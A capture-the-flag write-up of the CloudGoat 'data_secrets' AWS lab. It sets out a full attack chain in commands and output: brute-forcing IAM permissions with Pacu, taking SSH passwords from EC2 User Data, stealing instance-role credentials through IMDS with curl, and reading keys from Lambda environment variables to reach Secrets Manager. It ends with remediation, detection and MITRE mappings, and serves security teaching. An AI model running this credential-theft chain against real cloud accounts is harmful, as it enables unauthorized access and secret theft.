🥷 CloudGoat: Data Secrets
Write-up: Exploiting EC2 User Data and IMDS to escalate privileges
🧭 Overview
Scenario: data_secrets \
Platform: CloudGoat (Rhino Security Labs) \
Tools: Pacu + AWS CLI + SSH \
Objective: Steal credentials through EC2 User Data, leverage IMDS to escalate, enumerate Lambda functions, and retrieve the flag from Secrets Manager.
⚔️ Attack Path Summary
Limited User → EC2 Enum → User Data Leak → SSH Access → IMDS Token Theft → Lambda Enum → DB Credentials → Secrets Manager → Flag
🔑 Phase 1: Initial Access
Configure Profile
aws configure --profile data_secrets
# Access Key: AKIA****************
# Secret Key: dHQo/hANNyGHxSCBhOmN********************
Validate Credentials
aws sts get-caller-identity --profile data_secrets
{
"UserId": "AIDA****************",
"Account": "7912********",
"Arn": "arn:aws:iam::7912********:user/cg-start-user-cgido7xwddyilh"
}
🔎 Phase 2: IAM Enumeration
Launch Pacu and Import Keys
pacu
Pacu > import_keys data_secrets
Enumerate Permissions
Pacu > run iam__bruteforce_permissions --region us-east-1
[iam__bruteforce_permissions] Enumerated IAM Permissions:
[iam__bruteforce_permissions] ec2.describe_instances() worked!
[iam__bruteforce_permissions] ec2.describe_tags() worked!
[iam__bruteforce_permissions] dynamodb.describe_endpoints() worked!
[iam__bruteforce_permissions] sts.get_session_token() worked!
[iam__bruteforce_permissions] sts.get_caller_identity() worked!
[iam__bruteforce_permissions] MODULE SUMMARY:
Num of IAM permissions found: 5
View Confirmed Permissions
Pacu > whoami
{
"UserName": "cg-start-user-cgido7xwddyilh",
"Arn": "arn:aws:iam::7912********:user/cg-start-user-cgido7xwddyilh",
"Permissions": {
"Allow": [
"ec2:DescribeTags",
"ec2:DescribeInstances",
"sts:GetSessionToken",
"sts:GetCallerIdentity",
"dynamodb:DescribeEndpoints"
]
}
}
Key Findings
| Service | Permissions | Note |
|---|---|---|
| EC2 | DescribeInstances, DescribeTags | Can enumerate EC2 instances and metadata |
| STS | GetCallerIdentity, GetSessionToken | Can verify identity |
| DynamoDB | DescribeEndpoints | Low impact |
The ability to describe EC2 instances is the key to exploiting this scenario.
🖥️ Phase 3: EC2 Enumeration and User Data Extraction
Discover EC2 Instances
Pacu > run ec2__enum --region us-east-1
[ec2__enum] 1 instance(s) found.
[ec2__enum] 1 public IP address(es) found and added to text file
Extract Public IP
Pacu saves the IP to: ~/.local/share/pacu/data_secrets/downloads/ec2_public_ips_data_secrets_us-east-1.txt
Public IP: 13.***.***.***
Download User Data
Pacu > help ec2__download_userdata
Pacu > run ec2__download_userdata
Select target region when prompted: us-east-1
View User Data Content
Pacu downloads User Data to: ~/.local/share/pacu/data_secrets/downloads/ec2_user_data/
#!/bin/bash
echo "ec2-user:CloudGoatInstancePassword!" | chpasswd
sed -i 's/PasswordAuthentication no/PasswordAuthentication yes/g' /etc/ssh/sshd_config
service sshd restart
Critical Findings
| Artifact | Value |
|---|---|
| EC2 Instance ID | i-0827322ea4150fec3 |
| Public IP | 13.***.***.*** |
| SSH Username | ec2-user |
| SSH Password | CloudGoatInstancePassword! |
The User Data script reveals hardcoded SSH credentials, a critical misconfiguration.
🔐 Phase 4: SSH Access and IMDS Token Theft
Connect to EC2 Instance
ssh ec2-user@13.***.***.***
# Password: CloudGoatInstancePassword!
Get IMDSv2 Token
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
Retrieve IAM Role Name
ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/)
echo $ROLE_NAME
Output: cg-ec2-role-cgido7xwddyilh
Steal Temporary Credentials
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME
{
"Code": "Success",
"AccessKeyId": "ASIA****************",
"SecretAccessKey": "f7vFfkcw9iuwNF2mOYPzjw********************",
"Token": "IQoJb3JpZ2luX2VjEDwaCXVzLWVhc3QtMSJI..."
}
Configure EC2 Role Profile
aws configure --profile ec2_profile
# Access Key: ASIA****************
# Secret Key: f7vFfkcw9iuwNF2mOYPz********************
# Session Token: (paste the full token)
Validate EC2 Role Credentials
aws sts get-caller-identity --profile ec2_profile
{
"UserId": "AROA3QN6JWS34Z26XSFIZ:i-0827322ea4150fec3",
"Account": "7912********",
"Arn": "arn:aws:sts::7912********:assumed-role/cg-ec2-role-cgido7xwddyilh/i-0827322ea4150fec3"
}
Critical Findings
| Artifact | Value |
|---|---|
| Temporary Access Key | ASIA**************** |
| Temporary Secret Key | f7vFfkcw9iuwNF2mOYPzjwe******************** |
| Session Token | (Long-lived temporary credential) |
Successfully escalated from IAM user to EC2 instance role.
📊 Phase 5: Enumerate EC2 Role Permissions
Import EC2 Profile to Pacu
pacu
Pacu > import_keys ec2_profile
Pacu > run iam__bruteforce_permissions --region us-east-1
[iam__bruteforce_permissions] dynamodb.describe_endpoints() worked!
[iam__bruteforce_permissions] sts.get_caller_identity() worked!
[iam__bruteforce_permissions] lambda.list_functions() worked!
[iam__bruteforce_permissions] MODULE SUMMARY:
Num of IAM permissions found: 3
View EC2 Role Permissions
Pacu > whoami
{
"AccessKeyId": "ASIA****************",
"Permissions": {
"Allow": [
"dynamodb:DescribeEndpoints",
"sts:GetCallerIdentity",
"lambda:ListFunctions"
]
}
}
Key Finding
The EC2 role can enumerate Lambda functions, potentially exposing sensitive configuration data such as environment variables.
🔍 Phase 6: Lambda Enumeration and Credential Discovery
List Lambda Functions
Pacu > search lambda
Pacu > help lambda__enum
Pacu > run lambda__enum --region us-east-1
[lambda__enum] Enumerating data for cg-lambda-function-cgido7xwddyilh
[+] Secret (ENV): DB_USER_ACCESS_KEY= AKIA****************
[+] Secret (ENV): DB_USER_SECRET_KEY= zHq6/a2/cotXfMhK2bvv********************
[lambda__enum] 1 functions found in us-east-1
Critical Findings
| Environment Variable | Value |
|---|---|
DB_USER_ACCESS_KEY | AKIA**************** |
DB_USER_SECRET_KEY | `zHq6/a2/cotXfMhK2bvv/py******************** |
The Lambda function's environment variables contain hardcoded AWS credentials for a database user.
💾 Phase 7: Final Privilege Escalation via Lambda Credentials
Configure Lambda User Profile
`bash
aws configure --profile lambda_profile
Access Key: AKIA****************
Secret Key: zHq6/a2/cotXfMhK2bvv********************
`
Enumerate Lambda User Permissions
bash
pacu
console
Pacu > import_keys lambda_profile
Pacu > run iam__bruteforce_permissions --region us-east-1
`console
[iam_bruteforce_permissions] dynamodb.describe_endpoints() worked!
[iambruteforce_permissions] secretsmanager.list_secrets() worked!
[iambruteforce_permissions] sts.get_session_token() worked!
[iam_bruteforce_permissions] sts.get_caller_identity() worked!
[iam__bruteforce_permissions] MODULE SUMMARY:
Num of IAM permissions found: 4
`
View Lambda User Permissions
console
Pacu > whoami
json
{
"UserName": "cg-lambda-user-cgido7xwddyilh",
"Arn": "arn:aws:iam::7912********:user/cg-lambda-user-cgido7xwddyilh",
"Permissions": {
"Allow": [
"dynamodb:DescribeEndpoints",
"sts:GetSessionToken",
"sts:GetCallerIdentity",
"secretsmanager:ListSecrets"
]
}
}
Key Finding
The Lambda user can enumerate Secrets Manager resources, enabling discovery of sensitive stored data.
🚩 Phase 8: Capture the Flag
List Secrets Manager Secrets
console
Pacu > search secret
Pacu > help secrets__enum
Pacu > run secrets__enum --region us-east-1
console
[secrets__enum] Starting region us-east-1...
[secrets__enum] Found secret: cg-final-flag-cgido7xwddyilh
[secrets__enum] 1 Secret(s) were found in AWS secretsmanager
Retrieve the Flag
bash
cat ~/.local/share/pacu/lambda_profile/downloads/secrets/secrets_manager/secrets.txt
json
cg-final-flag-cgido7xwddyilh: {"flag":"d4t4_s3cr3ts_4r3_fun"}
Flag: d4t4_s3cr3ts_4r3_fun
📐 Attack Chain Diagram
plaintext
┌──────────────────────┐
│ Limited IAM User │
│ (data_secrets) │
└──────────┬───────────┘
│ ec2:DescribeInstances
│ ec2:DescribeTags
▼
┌──────────────────────┐
│ EC2 Instance Found │
│ Public IP: 13.*.*.* │
└──────────┬───────────┘
│ ec2__download_userdata
▼
┌──────────────────────┐
│ User Data Leak │
│ SSH Credentials │
└──────────┬───────────┘
│ SSH ec2-user@IP
▼
┌──────────────────────┐
│ SSH Access Gained │
│ On EC2 Instance │
└──────────┬───────────┘
│ IMDS Token (IMDSv2)
│ /latest/meta-data/iam/
│ security-credentials/
▼
┌──────────────────────┐
│ EC2 Role Creds │
│ Temporary Session │
└──────────┬───────────┘
│ lambda:ListFunctions
▼
┌──────────────────────┐
│ Lambda Functions │
│ Environment Vars │
└──────────┬───────────┘
│
▼
┌──────────────────────┐
│ DB User Credentials │
│ Hidden in Lambda │
└──────────┬───────────┘
│ secretsmanager:ListSecrets
▼
┌──────────────────────┐
│ Secrets Manager │
│ Final Flag Found │
└──────────┬───────────┘
│
▼
┌──────────────────────┐
│ FLAG │
│ d4t4_s3cr3ts_4r3_fun │
└──────────────────────┘
🚨 Vulnerabilities Exploited
| # | Vulnerability | CWE | CVSS |
|---|---|---|---|
| 1 | Hardcoded SSH credentials in EC2 User Data | CWE-798 | 9.8 |
| 2 | Improper Privilege Management | CWE-269 | 7.5 |
| 3 | Hardcoded AWS credentials in Lambda environment variables | CWE-798 | 9.8 |
| 4 | Overly permissive IAM role on EC2 instance | CWE-732 | 8.2 |
| 5 | Insufficient access controls on Secrets Manager | CWE-732 | 7.1 |
🧩 Architectural Failures
- Trusting User Data with secrets
- Treating Lambda environment variables as secure storage
- Allowing credential sprawl between services
- Over-permissioned instance role
- No separation between compute identity and data access
💡 Remediation
Never store secrets in EC2 User Data
- Use AWS Systems Manager Session Manager for remote access
- If SSH is required, use EC2 Instance Connect or Systems Manager Session Manager
- Use key pairs instead of hardcoded passwords
Disable or restrict IMDSv1
`bash
Force IMDSv2 only for new instances
aws ec2 run-instances \
--metadata-options "HttpTokens=required,HttpPutResponseHopLimit=1"
`
Never store AWS credentials in environment variables
- Use IAM roles attached to resources
- Use AWS Secrets Manager for application secrets
- Use Parameter Store for configuration
Implement least privilege for IAM roles
json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "lambda:GetFunction",
"Resource": "arn:aws:lambda:*:*:function/specific-function"
}
]
}
Monitor and alert on suspicious activities
- Enable CloudTrail logging for all API calls
- Monitor CloudTrail for anomalous role assumption patterns or unusual Secrets Manager access originating from EC2 roles.
- Monitor for unusual EC2 access patterns
Enable encryption for secrets at rest and in transit
- Use KMS encryption for Secrets Manager
- Enforce TLS for all API communications
- Enable encryption for EC2 volumes
🔎 Detection & Monitoring Opportunities
CloudTrail Monitoring
- DescribeInstances from low-privileged IAM users
- ListFunctions from EC2 instance roles
-ListSecrets and GetSecretValue from unexpected principals
GuardDuty Alerts
- Instance credential exfiltration behavior
- Unusual role assumption patterns
IAM Access Analyzer
- Detect over-permissioned roles
- Identify unused permissions
VPC Flow Logs
- Monitor access to 169.254.169.254 (metadata endpoint)
🎯 MITRE ATT&CK Mapping
| Tactic | Technique | ID |
|---|---|---|
| Initial Access | Valid Accounts: Cloud Accounts | T1078.004 |
| Discovery | Cloud Service Discovery | T1526 |
| Credential Access | Unsecured Credentials: Credentials in Files / Environment Variables | T1552.001 |
| Credential Access | Cloud Instance Metadata API | T1552.005 |
| Lateral Movement | Use Alternate Authentication Material: Cloud Credentials | T1550.001 |
| Privilege Escalation | Valid Accounts: Cloud Accounts | T1078.004 |
🛠️ Commands Reference
AWS CLI
`bash
Initial enumeration
aws configure --profile data_secrets
aws sts get-caller-identity --profile data_secrets
EC2 enumeration
aws ec2 describe-instances --profile data_secrets --region us-east-1
aws ec2 describe-tags --profile data_secrets --region us-east-1
Configure additional profiles
aws configure --profile ec2_profile
aws configure --profile lambda_profile
Validate credentials
aws sts get-caller-identity --profile ec2_profile
aws sts get-caller-identity --profile lambda_profile
`
SSH and IMDS
`bash
SSH access
ssh ec2-user@
IMDSv2 token (within EC2 instance)
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
Get IAM role name
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/
Get temporary credentials
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/
`
Pacu Commands
`bash
Session and key management
import_keys
whoami
swap_session
Enumeration
run iam_bruteforce_permissions --region us-east-1
run ec2enum --region us-east-1
run ec2download_userdata
run lambdaenum --region us-east-1
run secrets_enum --region us-east-1
`
📚 Additional Resources
- AWS EC2 User Data Security
- IMDS v2 Improvements
- AWS Secrets Manager Best Practices
- IAM Best Practices
- CloudGoat Data Secrets Cheat Sheet
🎓 Key Takeaways
Defense in Depth: Multiple misconfigurations were chained together to achieve full compromise
Credential Leakage: Secrets stored in plain text (User Data, environment variables) are easily discovered
IMDS Exposure Risk: Instance role credentials are accessible from within the host by design; therefore, any host compromise effectively becomes a role compromise, underscoring the need for strict least-privilege policies on instance roles.
Role Enumeration: Discovering attached roles and their permissions reveals the attack surface
Lateral Movement: Each compromised credential opens new exploitation paths
You can also read this post on my portfolio page.
SOCIAL SHARE CARD GENERATOR